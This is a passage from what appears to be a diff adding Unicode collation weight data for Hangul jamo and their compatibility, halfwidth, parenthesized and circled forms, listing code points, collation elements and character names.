+1111  ; [.3C06.0020.0002] # HANGUL CHOSEONG PHIEUPH
+314D  ; [.3C06.0020.0004] # HANGUL LETTER PHIEUPH
+320C  ; [*0317.0020.0004][.3C06.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PHIEUPH
+326C  ; [.3C06.0020.0006] # CIRCLED HANGUL PHIEUPH
+FFBD  ; [.3C06.0020.0012] # HALFWIDTH HANGUL LETTER PHIEUPH
+321A  ; [*0317.0020.0004][.3C06.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PHIEUPH A
+327A  ; [.3C06.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL PHIEUPH A
+1112  ; [.3C07.0020.0002] # HANGUL CHOSEONG HIEUH
+314E  ; [.3C07.0020.0004] # HANGUL LETTER HIEUH
+320D  ; [*0317.0020.0004][.3C07.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL HIEUH
+326D  ; [.3C07.0020.0006] # CIRCLED HANGUL HIEUH
+FFBE  ; [.3C07.0020.0012] # HALFWIDTH HANGUL LETTER HIEUH
+321B  ; [*0317.0020.0004][.3C07.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL HIEUH A
+327B  ; [.3C07.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL HIEUH A
+1113  ; [.3C08.0020.0002] # HANGUL CHOSEONG NIEUN-KIYEOK
+1114  ; [.3C09.0020.0002] # HANGUL CHOSEONG SSANGNIEUN
+3165  ; [.3C09.0020.0004] # HANGUL LETTER SSANGNIEUN
+1115  ; [.3C0A.0020.0002] # HANGUL CHOSEONG NIEUN-TIKEUT
+3166  ; [.3C0A.0020.0004] # HANGUL LETTER NIEUN-TIKEUT
+1116  ; [.3C0B.0020.0002] # HANGUL CHOSEONG NIEUN-PIEUP
+1117  ; [.3C0C.0020.0002] # HANGUL CHOSEONG TIKEUT-KIYEOK
+1118  ; [.3C0D.0020.0002] # HANGUL CHOSEONG RIEUL-NIEUN
+1119  ; [.3C0E.0020.0002] # HANGUL CHOSEONG SSANGRIEUL
+111A  ; [.3C0F.0020.0002] # HANGUL CHOSEONG RIEUL-HIEUH
+3140  ; [.3C0F.0020.0004] # HANGUL LETTER RIEUL-HIEUH
+FFB0  ; [.3C0F.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-HIEUH
+111B  ; [.3C10.0020.0002] # HANGUL CHOSEONG KAPYEOUNRIEUL
+111C  ; [.3C11.0020.0002] # HANGUL CHOSEONG MIEUM-PIEUP
+316E  ; [.3C11.0020.0004] # HANGUL LETTER MIEUM-PIEUP
+111D  ; [.3C12.0020.0002] # HANGUL CHOSEONG KAPYEOUNMIEUM
+3171  ; [.3C12.0020.0004] # HANGUL LETTER KAPYEOUNMIEUM
+111E  ; [.3C13.0020.0002] # HANGUL CHOSEONG PIEUP-KIYEOK
+3172  ; [.3C13.0020.0004] # HANGUL LETTER PIEUP-KIYEOK
+111F  ; [.3C14.0020.0002] # HANGUL CHOSEONG PIEUP-NIEUN
+1120  ; [.3C15.0020.0002] # HANGUL CHOSEONG PIEUP-TIKEUT
+3173  ; [.3C15.0020.0004] # HANGUL LETTER PIEUP-TIKEUT
+1121  ; [.3C16.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS
+3144  ; [.3C16.0020.0004] # HANGUL LETTER PIEUP-SIOS
+FFB4  ; [.3C16.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP-SIOS
+1122  ; [.3C17.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-KIYEOK
+3174  ; [.3C17.0020.0004] # HANGUL LETTER PIEUP-SIOS-KIYEOK
+1123  ; [.3C18.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-TIKEUT
+3175  ; [.3C18.0020.0004] # HANGUL LETTER PIEUP-SIOS-TIKEUT
+1124  ; [.3C19.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-PIEUP
+1125  ; [.3C1A.0020.0002] # HANGUL CHOSEONG PIEUP-SSANGSIOS
+1126  ; [.3C1B.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-CIEUC
+1127  ; [.3C1C.0020.0002] # HANGUL CHOSEONG PIEUP-CIEUC
+3176  ; [.3C1C.0020.0004] # HANGUL LETTER PIEUP-CIEUC
+1128  ; [.3C1D.0020.0002] # HANGUL CHOSEONG PIEUP-CHIEUCH
+1129  ; [.3C1E.0020.0002] # HANGUL CHOSEONG PIEUP-THIEUTH
+3177  ; [.3C1E.0020.0004] # HANGUL LETTER PIEUP-THIEUTH
+112A  ; [.3C1F.0020.0002] # HANGUL CHOSEONG PIEUP-PHIEUPH
+112B  ; [.3C20.0020.0002] # HANGUL CHOSEONG KAPYEOUNPIEUP
+3178  ; [.3C20.0020.0004] # HANGUL LETTER KAPYEOUNPIEUP
+112C  ; [.3C21.0020.0002] # HANGUL CHOSEONG KAPYEOUNSSANGPIEUP
+3179  ; [.3C21.0020.0004] # HANGUL LETTER KAPYEOUNSSANGPIEUP
+112D  ; [.3C22.0020.0002] # HANGUL CHOSEONG SIOS-KIYEOK
+317A  ; [.3C22.0020.0004] # HANGUL LETTER SIOS-KIYEOK
+112E  ; [.3C23.0020.0002] # HANGUL CHOSEONG SIOS-NIEUN
+317B  ; [.3C23.0020.0004] # HANGUL LETTER SIOS-NIEUN
+112F  ; [.3C24.0020.0002] # HANGUL CHOSEONG SIOS-TIKEUT
+317C  ; [.3C24.0020.0004] # HANGUL LETTER SIOS-TIKEUT
+1130  ; [.3C25.0020.0002] # HANGUL CHOSEONG SIOS-RIEUL
+1131  ; [.3C26.0020.0002] # HANGUL CHOSEONG SIOS-MIEUM
+1132  ; [.3C27.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP
+317D  ; [.3C27.0020.0004] # HANGUL LETTER SIOS-PIEUP
+1133  ; [.3C28.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP-KIYEOK
+1134  ; [.3C29.0020.0002] # HANGUL CHOSEONG SIOS-SSANGSIOS
+1135  ; [.3C2A.0020.0002] # HANGUL CHOSEONG SIOS-IEUNG
+1136  ; [.3C2B.0020.0002] # HANGUL CHOSEONG SIOS-CIEUC
+317E  ; [.3C2B.0020.0004] # HANGUL LETTER SIOS-CIEUC
+1137  ; [.3C2C.0020.0002] # HANGUL CHOSEONG SIOS-CHIEUCH
+1138  ; [.3C2D.0020.0002] # HANGUL CHOSEONG SIOS-KHIEUKH
+1139  ; [.3C2E.0020.0002] # HANGUL CHOSEONG SIOS-THIEUTH
+113A  ; [.3C2F.0020.0002] # HANGUL CHOSEONG SIOS-PHIEUPH
+113B  ; [.3C30.0020.0002] # HANGUL CHOSEONG SIOS-HIEUH
+113C  ; [.3C31.0020.0002] # HANGUL CHOSEONG CHITUEUMSIOS
+113D  ; [.3C32.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGSIOS
+113E  ; [.3C33.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSIOS
+113F  ; [.3C34.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS
+1140  ; [.3C35.0020.0002] # HANGUL CHOSEONG PANSIOS
+317F  ; [.3C35.0020.0004] # HANGUL LETTER PANSIOS
+1141  ; [.3C36.0020.0002] # HANGUL CHOSEONG IEUNG-KIYEOK
+1142  ; [.3C37.0020.0002] # HANGUL CHOSEONG IEUNG-TIKEUT
+1143  ; [.3C38.0020.0002] # HANGUL CHOSEONG IEUNG-MIEUM
+1144  ; [.3C39.0020.0002] # HANGUL CHOSEONG IEUNG-PIEUP
+1145  ; [.3C3A.0020.0002] # HANGUL CHOSEONG IEUNG-SIOS
+1146  ; [.3C3B.0020.0002] # HANGUL CHOSEONG IEUNG-PANSIOS
+1147  ; [.3C3C.0020.0002] # HANGUL CHOSEONG SSANGIEUNG
+3180  ; [.3C3C.0020.0004] # HANGUL LETTER SSANGIEUNG
+1148  ; [.3C3D.0020.0002] # HANGUL CHOSEONG IEUNG-CIEUC
+1149  ; [.3C3E.0020.0002] # HANGUL CHOSEONG IEUNG-CHIEUCH
+114A  ; [.3C3F.0020.0002] # HANGUL CHOSEONG IEUNG-THIEUTH
+114B  ; [.3C40.0020.0002] # HANGUL CHOSEONG IEUNG-PHIEUPH
+114C  ; [.3C41.0020.0002] # HANGUL CHOSEONG YESIEUNG
+3181  ; [.3C41.0020.0004] # HANGUL LETTER YESIEUNG
+114D  ; [.3C42.0020.0002] # HANGUL CHOSEONG CIEUC-IEUNG
+114E  ; [.3C43.0020.0002] # HANGUL CHOSEONG CHITUEUMCIEUC
+114F  ; [.3C44.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGCIEUC
+1150  ; [.3C45.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCIEUC
+1151  ; [.3C46.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC
+1152  ; [.3C47.0020.0002] # HANGUL CHOSEONG CHIEUCH-KHIEUKH
+1153  ; [.3C48.0020.0002] # HANGUL CHOSEONG CHIEUCH-HIEUH
+1154  ; [.3C49.0020.0002] # HANGUL CHOSEONG CHITUEUMCHIEUCH
+1155  ; [.3C4A.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCHIEUCH
+1156  ; [.3C4B.0020.0002] # HANGUL CHOSEONG PHIEUPH-PIEUP
+1157  ; [.3C4C.0020.0002] # HANGUL CHOSEONG KAPYEOUNPHIEUPH
+3184  ; [.3C4C.0020.0004] # HANGUL LETTER KAPYEOUNPHIEUPH
+1158  ; [.3C4D.0020.0002] # HANGUL CHOSEONG SSANGHIEUH
+3185  ; [.3C4D.0020.0004] # HANGUL LETTER SSANGHIEUH
+1159  ; [.3C4E.0020.0002] # HANGUL CHOSEONG YEORINHIEUH
+3186  ; [.3C4E.0020.0004] # HANGUL LETTER YEORINHIEUH
+115A  ; [.3C4F.0020.0002] # HANGUL CHOSEONG KIYEOK-TIKEUT
+115B  ; [.3C50.0020.0002] # HANGUL CHOSEONG NIEUN-SIOS
+115C  ; [.3C51.0020.0002] # HANGUL CHOSEONG NIEUN-CIEUC
+115D  ; [.3C52.0020.0002] # HANGUL CHOSEONG NIEUN-HIEUH
+115E  ; [.3C53.0020.0002] # HANGUL CHOSEONG TIKEUT-RIEUL
+A960  ; [.3C54.0020.0002] # HANGUL CHOSEONG TIKEUT-MIEUM
+A961  ; [.3C55.0020.0002] # HANGUL CHOSEONG TIKEUT-PIEUP
+A962  ; [.3C56.0020.0002] # HANGUL CHOSEONG TIKEUT-SIOS
+A963  ; [.3C57.0020.0002] # HANGUL CHOSEONG TIKEUT-CIEUC
+A964  ; [.3C58.0020.0002] # HANGUL CHOSEONG RIEUL-KIYEOK
+A965  ; [.3C59.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGKIYEOK
+A966  ; [.3C5A.0020.0002] # HANGUL CHOSEONG RIEUL-TIKEUT
+A967  ; [.3C5B.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGTIKEUT
+A968  ; [.3C5C.0020.0002] # HANGUL CHOSEONG RIEUL-MIEUM
+A969  ; [.3C5D.0020.0002] # HANGUL CHOSEONG RIEUL-PIEUP
+A96A  ; [.3C5E.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGPIEUP
+A96B  ; [.3C5F.0020.0002] # HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP
+A96C  ; [.3C60.0020.0002] # HANGUL CHOSEONG RIEUL-SIOS
+A96D  ; [.3C61.0020.0002] # HANGUL CHOSEONG RIEUL-CIEUC
+A96E  ; [.3C62.0020.0002] # HANGUL CHOSEONG RIEUL-KHIEUKH
+A96F  ; [.3C63.0020.0002] # HANGUL CHOSEONG MIEUM-KIYEOK
+A970  ; [.3C64.0020.0002] # HANGUL CHOSEONG MIEUM-TIKEUT
+A971  ; [.3C65.0020.0002] # HANGUL CHOSEONG MIEUM-SIOS
+A972  ; [.3C66.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-THIEUTH
+A973  ; [.3C67.0020.0002] # HANGUL CHOSEONG PIEUP-KHIEUKH
+A974  ; [.3C68.0020.0002] # HANGUL CHOSEONG PIEUP-HIEUH
+A975  ; [.3C69.0020.0002] # HANGUL CHOSEONG SSANGSIOS-PIEUP
+A976  ; [.3C6A.0020.0002] # HANGUL CHOSEONG IEUNG-RIEUL
+A977  ; [.3C6B.0020.0002] # HANGUL CHOSEONG IEUNG-HIEUH
+A978  ; [.3C6C.0020.0002] # HANGUL CHOSEONG SSANGCIEUC-HIEUH
+A979  ; [.3C6D.0020.0002] # HANGUL CHOSEONG SSANGTHIEUTH
+A97A  ; [.3C6E.0020.0002] # HANGUL CHOSEONG PHIEUPH-HIEUH
+A97B  ; [.3C6F.0020.0002] # HANGUL CHOSEONG HIEUH-SIOS
+A97C  ; [.3C70.0020.0002] # HANGUL CHOSEONG SSANGYEORINHIEUH
+115F  ; [.3C71.0020.0002] # HANGUL CHOSEONG FILLER
+1160  ; [.3C72.0020.0002] # HANGUL JUNGSEONG FILLER
+3164  ; [.3C72.0020.0004] # HANGUL FILLER
+FFA0  ; [.3C72.0020.0012] # HALFWIDTH HANGUL FILLER
+1161  ; [.3C73.0020.0002] # HANGUL JUNGSEONG A
+314F  ; [.3C73.0020.0004] # HANGUL LETTER A
+FFC2  ; [.3C73.0020.0012] # HALFWIDTH HANGUL LETTER A
+1162  ; [.3C74.0020.0002] # HANGUL JUNGSEONG AE
+3150  ; [.3C74.0020.0004] # HANGUL LETTER AE
+FFC3  ; [.3C74.0020.0012] # HALFWIDTH HANGUL LETTER AE
+1163  ; [.3C75.0020.0002] # HANGUL JUNGSEONG YA
+3151  ; [.3C75.0020.0004] # HANGUL LETTER YA
+FFC4  ; [.3C75.0020.0012] # HALFWIDTH HANGUL LETTER YA
+1164  ; [.3C76.0020.0002] # HANGUL JUNGSEONG YAE
+3152  ; [.3C76.0020.0004] # HANGUL LETTER YAE
+FFC5  ; [.3C76.0020.0012] # HALFWIDTH HANGUL LETTER YAE
+1165  ; [.3C77.0020.0002] # HANGUL JUNGSEONG EO
+3153  ; [.3C77.0020.0004] # HANGUL LETTER EO
+FFC6  ; [.3C77.0020.0012] # HALFWIDTH HANGUL LETTER EO
+1166  ; [.3C78.0020.0002] # HANGUL JUNGSEONG E
+3154  ; [.3C78.0020.0004] # HANGUL LETTER E
+FFC7  ; [.3C78.0020.0012] # HALFWIDTH HANGUL LETTER E
+1167  ; [.3C79.0020.0002] # HANGUL JUNGSEONG YEO
+3155  ; [.3C79.0020.0004] # HANGUL LETTER YEO
+FFCA  ; [.3C79.0020.0012] # HALFWIDTH HANGUL LETTER YEO
+1168  ; [.3C7A.0020.0002] # HANGUL JUNGSEONG YE
+3156  ; [.3C7A.0020.0004] # HANGUL LETTER YE
+FFCB  ; [.3C7A.0020.0012] # HALFWIDTH HANGUL LETTER YE
+1169  ; [.3C7B.0020.0002] # HANGUL JUNGSEONG O
+3157  ; [.3C7B.0020.0004] # HANGUL LETTER O
+FFCC  ; [.3C7B.0020.0012] # HALFWIDTH HANGUL LETTER O
+116A  ; [.3C7C.0020.0002] # HANGUL JUNGSEONG WA
+3158  ; [.3C7C.0020.0004] # HANGUL LETTER WA
+FFCD  ; [.3C7C.0020.0012] # HALFWIDTH HANGUL LETTER WA
+116B  ; [.3C7D.0020.0002] # HANGUL JUNGSEONG WAE
+3159  ; [.3C7D.0020.0004] # HANGUL LETTER WAE
+FFCE  ; [.3C7D.0020.0012] # HALFWIDTH HANGUL LETTER WAE
+116C  ; [.3C7E.0020.0002] # HANGUL JUNGSEONG OE
+315A  ; [.3C7E.0020.0004] # HANGUL LETTER OE
+FFCF  ; [.3C7E.0020.0012] # HALFWIDTH HANGUL LETTER OE
+116D  ; [.3C7F.0020.0002] # HANGUL JUNGSEONG YO
+315B  ; [.3C7F.0020.0004] # HANGUL LETTER YO
+FFD2  ; [.3C7F.0020.0012] # HALFWIDTH HANGUL LETTER YO
+116E  ; [.3C80.0020.0002] # HANGUL JUNGSEONG U
+315C  ; [.3C80.0020.0004] # HANGUL LETTER U
+FFD3  ; [.3C80.0020.0012] # HALFWIDTH HANGUL LETTER U
+116F  ; [.3C81.0020.0002] # HANGUL JUNGSEONG WEO
+315D  ; [.3C81.0020.0004] # HANGUL LETTER WEO
+FFD4  ; [.3C81.0020.0012] # HALFWIDTH HANGUL LETTER WEO
+1170  ; [.3C82.0020.0002] # HANGUL JUNGSEONG WE
+315E  ; [.3C82.0020.0004] # HANGUL LETTER WE
+FFD5  ; [.3C82.0020.0012] # HALFWIDTH HANGUL LETTER WE
+1171  ; [.3C83.0020.0002] # HANGUL JUNGSEONG WI
+315F  ; [.3C83.0020.0004] # HANGUL LETTER WI
+FFD6  ; [.3C83.0020.0012] # HALFWIDTH HANGUL LETTER WI
+1172  ; [.3C84.0020.0002] # HANGUL JUNGSEONG YU
+3160  ; [.3C84.0020.0004] # HANGUL LETTER YU
+FFD7  ; [.3C84.0020.0012] # HALFWIDTH HANGUL LETTER YU
+1173  ; [.3C85.0020.0002] # HANGUL JUNGSEONG EU
+3161  ; [.3C85.0020.0004] # HANGUL LETTER EU
+FFDA  ; [.3C85.0020.0012] # HALFWIDTH HANGUL LETTER EU
+1174  ; [.3C86.0020.0002] # HANGUL JUNGSEONG YI
+3162  ; [.3C86.0020.0004] # HANGUL LETTER YI
+FFDB  ; [.3C86.0020.0012] # HALFWIDTH HANGUL LETTER YI
+1175  ; [.3C87.0020.0002] # HANGUL JUNGSEONG I
+3163  ; [.3C87.0020.0004] # HANGUL LETTER I
+FFDC  ; [.3C87.0020.0012] # HALFWIDTH HANGUL LETTER I
+1176  ; [.3C88.0020.0002] # HANGUL JUNGSEONG A-O
+1177  ; [.3C89.0020.0002] # HANGUL JUNGSEONG A-U
+1178  ; [.3C8A.0020.0002] # HANGUL JUNGSEONG YA-O
+1179  ; [.3C8B.0020.0002] # HANGUL JUNGSEONG YA-YO
+117A  ; [.3C8C.0020.0002] # HANGUL JUNGSEONG EO-O
+117B  ; [.3C8D.0020.0002] # HANGUL JUNGSEONG EO-U
+117C  ; [.3C8E.0020.0002] # HANGUL JUNGSEONG EO-EU
+117D  ; [.3C8F.0020.0002] # HANGUL JUNGSEONG YEO-O
+117E  ; [.3C90.0020.0002] # HANGUL JUNGSEONG YEO-U
+117F  ; [.3C91.0020.0002] # HANGUL JUNGSEONG O-EO
+1180  ; [.3C92.0020.0002] # HANGUL JUNGSEONG O-E
+1181  ; [.3C93.0020.0002] # HANGUL JUNGSEONG O-YE
+1182  ; [.3C94.0020.0002] # HANGUL JUNGSEONG O-O
+1183  ; [.3C95.0020.0002] # HANGUL JUNGSEONG O-U
+1184  ; [.3C96.0020.0002] # HANGUL JUNGSEONG YO-YA
+3187  ; [.3C96.0020.0004] # HANGUL LETTER YO-YA
+1185  ; [.3C97.0020.0002] # HANGUL JUNGSEONG YO-YAE
+3188  ; [.3C97.0020.0004] # HANGUL LETTER YO-YAE
+1186  ; [.3C98.0020.0002] # HANGUL JUNGSEONG YO-YEO
+1187  ; [.3C99.0020.0002] # HANGUL JUNGSEONG YO-O
+1188  ; [.3C9A.0020.0002] # HANGUL JUNGSEONG YO-I
+3189  ; [.3C9A.0020.0004] # HANGUL LETTER YO-I
+1189  ; [.3C9B.0020.0002] # HANGUL JUNGSEONG U-A
+118A  ; [.3C9C.0020.0002] # HANGUL JUNGSEONG U-AE
+118B  ; [.3C9D.0020.0002] # HANGUL JUNGSEONG U-EO-EU
+118C  ; [.3C9E.0020.0002] # HANGUL JUNGSEONG U-YE
+118D  ; [.3C9F.0020.0002] # HANGUL JUNGSEONG U-U
+118E  ; [.3CA0.0020.0002] # HANGUL JUNGSEONG YU-A
+118F  ; [.3CA1.0020.0002] # HANGUL JUNGSEONG YU-EO
+1190  ; [.3CA2.0020.0002] # HANGUL JUNGSEONG YU-E
+1191  ; [.3CA3.0020.0002] # HANGUL JUNGSEONG YU-YEO
+318A  ; [.3CA3.0020.0004] # HANGUL LETTER YU-YEO
+1192  ; [.3CA4.0020.0002] # HANGUL JUNGSEONG YU-YE
+318B  ; [.3CA4.0020.0004] # HANGUL LETTER YU-YE
+1193  ; [.3CA5.0020.0002] # HANGUL JUNGSEONG YU-U
+1194  ; [.3CA6.0020.0002] # HANGUL JUNGSEONG YU-I
+318C  ; [.3CA6.0020.0004] # HANGUL LETTER YU-I
+1195  ; [.3CA7.0020.0002] # HANGUL JUNGSEONG EU-U
+1196  ; [.3CA8.0020.0002] # HANGUL JUNGSEONG EU-EU
+1197  ; [.3CA9.0020.0002] # HANGUL JUNGSEONG YI-U
+1198  ; [.3CAA.0020.0002] # HANGUL JUNGSEONG I-A
+1199  ; [.3CAB.0020.0002] # HANGUL JUNGSEONG I-YA
+119A  ; [.3CAC.0020.0002] # HANGUL JUNGSEONG I-O
+119B  ; [.3CAD.0020.0002] # HANGUL JUNGSEONG I-U
+119C  ; [.3CAE.0020.0002] # HANGUL JUNGSEONG I-EU
+119D  ; [.3CAF.0020.0002] # HANGUL JUNGSEONG I-ARAEA
+119E  ; [.3CB0.0020.0002] # HANGUL JUNGSEONG ARAEA
+318D  ; [.3CB0.0020.0004] # HANGUL LETTER ARAEA
+119F  ; [.3CB1.0020.0002] # HANGUL JUNGSEONG ARAEA-EO
+11A0  ; [.3CB2.0020.0002] # HANGUL JUNGSEONG ARAEA-U
+11A1  ; [.3CB3.0020.0002] # HANGUL JUNGSEONG ARAEA-I
+318E  ; [.3CB3.0020.0004] # HANGUL LETTER ARAEAE
+11A2  ; [.3CB4.0020.0002] # HANGUL JUNGSEONG SSANGARAEA
+11A3  ; [.3CB5.0020.0002] # HANGUL JUNGSEONG A-EU
+11A4  ; [.3CB6.0020.0002] # HANGUL JUNGSEONG YA-U
+11A5  ; [.3CB7.0020.0002] # HANGUL JUNGSEONG YEO-YA
+11A6  ; [.3CB8.0020.0002] # HANGUL JUNGSEONG O-YA
+11A7  ; [.3CB9.0020.0002] # HANGUL JUNGSEONG O-YAE
+D7B0  ; [.3CBA.0020.0002] # HANGUL JUNGSEONG O-YEO
+D7B1  ; [.3CBB.0020.0002] # HANGUL JUNGSEONG O-O-I
+D7B2  ; [.3CBC.0020.0002] # HANGUL JUNGSEONG YO-A
+D7B3  ; [.3CBD.0020.0002] # HANGUL JUNGSEONG YO-AE
+D7B4  ; [.3CBE.0020.0002] # HANGUL JUNGSEONG YO-EO
+D7B5  ; [.3CBF.0020.0002] # HANGUL JUNGSEONG U-YEO
+D7B6  ; [.3CC0.0020.0002] # HANGUL JUNGSEONG U-I-I
+D7B7  ; [.3CC1.0020.0002] # HANGUL JUNGSEONG YU-AE
+D7B8  ; [.3CC2.0020.0002] # HANGUL JUNGSEONG YU-O
+D7B9  ; [.3CC3.0020.0002] # HANGUL JUNGSEONG EU-A
+D7BA  ; [.3CC4.0020.0002] # HANGUL JUNGSEONG EU-EO
+D7BB  ; [.3CC5.0020.0002] # HANGUL JUNGSEONG EU-E
+D7BC  ; [.3CC6.0020.0002] # HANGUL JUNGSEONG EU-O
+D7BD  ; [.3CC7.0020.0002] # HANGUL JUNGSEONG I-YA-O
+D7BE  ; [.3CC8.0020.0002] # HANGUL JUNGSEONG I-YAE
+D7BF  ; [.3CC9.0020.0002] # HANGUL JUNGSEONG I-YEO
+D7C0  ; [.3CCA.0020.0002] # HANGUL JUNGSEONG I-YE
+D7C1  ; [.3CCB.0020.0002] # HANGUL JUNGSEONG I-O-I
+D7C2  ; [.3CCC.0020.0002] # HANGUL JUNGSEONG I-YO
+D7C3  ; [.3CCD.0020.0002] # HANGUL JUNGSEONG I-YU
+D7C4  ; [.3CCE.0020.0002] # HANGUL JUNGSEONG I-I
+D7C5  ; [.3CCF.0020.0002] # HANGUL JUNGSEONG ARAEA-A
+D7C6  ; [.3CD0.0020.0002] # HANGUL JUNGSEONG ARAEA-E
+11A8  ; [.3CD1.0020.0002] # HANGUL JONGSEONG KIYEOK
+11A9  ; [.3CD2.0020.0002] # HANGUL JONGSEONG SSANGKIYEOK
+11AA  ; [.3CD3.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS
+3133  ; [.3CD3.0020.0004] # HANGUL LETTER KIYEOK-SIOS
+FFA3  ; [.3CD3.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK-SIOS
+11AB  ; [.3CD4.0020.0002] # HANGUL JONGSEONG NIEUN
+11AC  ; [.3CD5.0020.0002] # HANGUL JONGSEONG NIEUN-CIEUC
+3135  ; [.3CD5.0020.0004] # HANGUL LETTER NIEUN-CIEUC
+FFA5  ; [.3CD5.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-CIEUC
+11AD  ; [.3CD6.0020.0002] # HANGUL JONGSEONG NIEUN-HIEUH
+3136  ; [.3CD6.0020.0004] # HANGUL LETTER NIEUN-HIEUH
+FFA6  ; [.3CD6.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-HIEUH
+11AE  ; [.3CD7.0020.0002] # HANGUL JONGSEONG TIKEUT
+11AF  ; [.3CD8.0020.0002] # HANGUL JONGSEONG RIEUL
+11B0  ; [.3CD9.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK
+313A  ; [.3CD9.0020.0004] # HANGUL LETTER RIEUL-KIYEOK
+FFAA  ; [.3CD9.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-KIYEOK
+11B1  ; [.3CDA.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM
+313B  ; [.3CDA.0020.0004] # HANGUL LETTER RIEUL-MIEUM
+FFAB  ; [.3CDA.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-MIEUM
+11B2  ; [.3CDB.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP
+313C  ; [.3CDB.0020.0004] # HANGUL LETTER RIEUL-PIEUP
+FFAC  ; [.3CDB.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PIEUP
+11B3  ; [.3CDC.0020.0002] # HANGUL JONGSEONG RIEUL-SIOS
+313D  ; [.3CDC.0020.0004] # HANGUL LETTER RIEUL-SIOS
+FFAD  ; [.3CDC.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-SIOS
+11B4  ; [.3CDD.0020.0002] # HANGUL JONGSEONG RIEUL-THIEUTH
+313E  ; [.3CDD.0020.0004] # HANGUL LETTER RIEUL-THIEUTH
+FFAE  ; [.3CDD.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-THIEUTH
+11B5  ; [.3CDE.0020.0002] # HANGUL JONGSEONG RIEUL-PHIEUPH
+313F  ; [.3CDE.0020.0004] # HANGUL LETTER RIEUL-PHIEUPH
+FFAF  ; [.3CDE.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH
+11B6  ; [.3CDF.0020.0002] # HANGUL JONGSEONG RIEUL-HIEUH
+11B7  ; [.3CE0.0020.0002] # HANGUL JONGSEONG MIEUM
+11B8  ; [.3CE1.0020.0002] # HANGUL JONGSEONG PIEUP
+11B9  ; [.3CE2.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS
+11BA  ; [.3CE3.0020.0002] # HANGUL JONGSEONG SIOS
+11BB  ; [.3CE4.0020.0002] # HANGUL JONGSEONG SSANGSIOS
+11BC  ; [.3CE5.0020.0002] # HANGUL JONGSEONG IEUNG
+11BD  ; [.3CE6.0020.0002] # HANGUL JONGSEONG CIEUC
+11BE  ; [.3CE7.0020.0002] # HANGUL JONGSEONG CHIEUCH
+11BF  ; [.3CE8.0020.0002] # HANGUL JONGSEONG KHIEUKH
+11C0  ; [.3CE9.0020.0002] # HANGUL JONGSEONG THIEUTH
+11C1  ; [.3CEA.0020.0002] # HANGUL JONGSEONG PHIEUPH
+11C2  ; [.3CEB.0020.0002] # HANGUL JONGSEONG HIEUH
+11C3  ; [.3CEC.0020.0002] # HANGUL JONGSEONG KIYEOK-RIEUL
+11C4  ; [.3CED.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK
+11C5  ; [.3CEE.0020.0002] # HANGUL JONGSEONG NIEUN-KIYEOK
+11C6  ; [.3CEF.0020.0002] # HANGUL JONGSEONG NIEUN-TIKEUT
+11C7  ; [.3CF0.0020.0002] # HANGUL JONGSEONG NIEUN-SIOS
+3167  ; [.3CF0.0020.0004] # HANGUL LETTER NIEUN-SIOS
+11C8  ; [.3CF1.0020.0002] # HANGUL JONGSEONG NIEUN-PANSIOS
+3168  ; [.3CF1.0020.0004] # HANGUL LETTER NIEUN-PANSIOS
+11C9  ; [.3CF2.0020.0002] # HANGUL JONGSEONG NIEUN-THIEUTH
+11CA  ; [.3CF3.0020.0002] # HANGUL JONGSEONG TIKEUT-KIYEOK
+11CB  ; [.3CF4.0020.0002] # HANGUL JONGSEONG TIKEUT-RIEUL
+11CC  ; [.3CF5.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-SIOS
+3169  ; [.3CF5.0020.0004] # HANGUL LETTER RIEUL-KIYEOK-SIOS
+11CD  ; [.3CF6.0020.0002] # HANGUL JONGSEONG RIEUL-NIEUN
+11CE  ; [.3CF7.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT
+316A  ; [.3CF7.0020.0004] # HANGUL LETTER RIEUL-TIKEUT
+11CF  ; [.3CF8.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH
+11D0  ; [.3CF9.0020.0002] # HANGUL JONGSEONG SSANGRIEUL
+11D1  ; [.3CFA.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK
+11D2  ; [.3CFB.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-SIOS
+11D3  ; [.3CFC.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-SIOS
